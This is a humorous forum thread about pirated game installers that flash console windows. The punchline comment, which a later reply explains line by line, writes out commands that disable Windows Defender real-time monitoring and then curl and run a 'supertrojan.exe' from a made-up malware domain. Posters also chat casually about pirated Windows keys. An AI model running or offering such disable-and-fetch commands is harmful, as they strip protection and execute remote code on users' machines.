Ignorance is bliss

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finkrat@lemmy.world · 73 pts · 2y

It's just setting up a keylogger so it can help you when you suck at your new pirated game :)

smileyhead@discuss.tchncs.de · 61 pts · 2y (11 replies)

Ah yes, Windows...

Not only for viruses, I saw legitimate software creating those console windows to run.

masterspace@lemmy.ca · 36 pts · 2y (4 replies)

Good spyware doesnt show those either, they're not a sign of malware but of sloppy coding.

magikmw@lemm.ee · 14 pts · 2y (3 replies)

Not always. Having spent significant time of the entire projects to hide console and powershell windows, I think Windows is just crap.

MonkderZweite@feddit.ch · 5 pts · 2y (2 replies)

Yes, there was a good cli-tool for this, until it didn't work anymore.

smileyhead@discuss.tchncs.de · 5 pts · 2y (1 reply)

A tool for this...
Running a program by another program without interrupting user should be a basic feature of an OS!

MonkderZweite@feddit.ch · 2 pts · 2y

You would probably love Oberon.

trashgirlfriend@lemmy.world · 20 pts · 2y (5 replies)

I'm pretty sure some drivers do that

Agent641@lemmy.world · 17 pts · 2y (4 replies)

My work PC does it on boot. Opens and then closes like 8 command windows.

trashgirlfriend@lemmy.world · 21 pts · 2y (2 replies)

Well that probably is malware but installed by your company

smileyhead@discuss.tchncs.de · 4 pts · 2y

Just look into journal and logs what processes were started by a terminal window...

Oh... Right.

umbrella@lemmy.ml · 3 pts · 2y
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1371113@lemmy.world · 6 pts · 2y

Startup scripts most likely. A sign of a bunch of legacy tech in your environment.

iamascaryvampire@lemmy.world · 61 pts · 2y (16 replies)

Wait... What's the truth.....

Norgur@fedia.io · 124 pts · 2y (8 replies)
Set-MpPreference -DisableRealtimeMonitoring $true  

curl https://malwarefo.ru/supertrojan.exe

./supertrojan.exe
./game.exe
exit
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ColeSloth@discuss.tchncs.de · 35 pts · 2y (1 reply)

But I don't want a super Trojan : -(

Norgur@fedia.io · 8 pts · 2y

RIP_Cheems@lemmy.world · 0 pts · 2y (2 replies)

Is there a way to remove it or stop it from happening?

rob_t_firefly@lemmy.world · 5 pts · 2y
 The only winning move is not to play.
Anticorp@lemmy.world · 1 pts · 2y

Yes

Son_of_dad@lemmy.world · -26 pts · 2y (2 replies)

This answers nothing

CosmicTurtle@lemmy.world · 91 pts · 2y

Set-MpPreference -DisableRealtimeMonitoring $true

Disables malware scanning in windows (I assume)

curl https://malwarefo.ru/supertrojan.exe

Downloads supertrojan.exe from a Russian website

./supertrojan.exe

Executes the file

./game.exe

Runs the game

exit

Closes the command prompt.

0

Opens the portal to the underworld, to ensure that the command prompt closes correctly.

odium@programming.dev · 44 pts · 2y

Not saying you should understand it, but it does answer it if you understand it

Cornelius_Wangenheim@lemmy.world · 54 pts · 2y
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casmael@lemm.ee · 25 pts · 2y (3 replies)

Probably mining for bitcoin

Feathercrown@lemmy.world · 25 pts · 2y (2 replies)

Free game providers can have a little bitcoin, as a treat

otp@sh.itjust.works · 6 pts · 2y (1 reply)

https://uqm-mods.sourceforge.net/Download

Here's one. I'd like the aforementioned treat, please!

Feathercrown@lemmy.world · 2 pts · 2y

You may use my GPU anytime 😊

Redfugee@lemmy.world · 12 pts · 2y

Do you really want to know the truth or do you want to play your new game \o/

A_Very_Big_Fan@lemmy.world · 4 pts · 2y

I always thought it was running anti-"anti-piracy" measures before launching the game. I suppose it could be malware too, which seems like what the meme is getting at.

AceFuzzLord@lemm.ee · 35 pts · 2y

Even if I am pretty sure I'm not getting a virus, I'm always nervous when that happens regardless of the program on my desktop.

MonkderZweite@feddit.ch · 16 pts · 2y

The crack uses dll-injection, needs to be applied each game launch.

spongeborgcubepants@lemmy.world · 11 pts · 2y

Dingers!

Everythingispenguins@lemmy.world · 10 pts · 2y (10 replies)

I once found a fully cracked version of Window XP on Pirate Bay....

LWD@lemm.ee · -7 pts · 2y (9 replies)
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Everythingispenguins@lemmy.world · 3 pts · 2y (8 replies)

I fucking did it was tenish year ago. Ran it in a vbox for the fun of it. Oddly it was the best windows experience I ever had. Can't say how much malware was in it though.

And yes I forgot an s so fucking sue me champ

Anticorp@lemmy.world · 5 pts · 2y (6 replies)

I used pirated versions of XP for a decade. Nothing bad ever came of it. There were a lot of crackers back then that just did it for the challenge, and shared it because they wanted to.

ItsAFake@lemmus.org · 3 pts · 2y (3 replies)

My first copy of Winxp was stolen from windows a week before release, I found out when I saw a picture of someone holding a burnt disc with windows xp on it outside of Microsoft and it had my serial key on it.

Edit: here's the picture.

GroteStreet@aussie.zone · 7 pts · 2y (1 reply)

I don't even have to open the image to know it's FCKGW!

ItsAFake@lemmus.org · 3 pts · 2y

13 year old me loved that my windows key had fuck in it. I used to know that entire key off by heart.

Anticorp@lemmy.world · 1 pts · 2y

That's awesome. I eventually got my hands on an enterprise CD key that was given out to over 1000 students at a university and used that instead of the keygens for tortented ISOs.

a_wild_mimic_appears@lemmy.dbzer0.com · 2 pts · 2y (1 reply)

My win10 licences are all from pirated Win7 that was grandfathered in when upgrading lol

Anticorp@lemmy.world · 3 pts · 2y

Same here actually. Now it's totally free spyware/adware, so those days are gone. I just use Linux now.

LWD@lemm.ee · 0 pts · 2y
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blazeknave@lemmy.world · 8 pts · 2y

hard power down like Barry Allen; rips phone cable out of wall (and rj45 in half); runs to router and rips entire power strip out of wall; safe mode with no idea if this helps; blindly searches for very new or old .bat files; tries to figure out how to search entire registry by recent; sob; play eu1 or whatever it was 30 yrs ago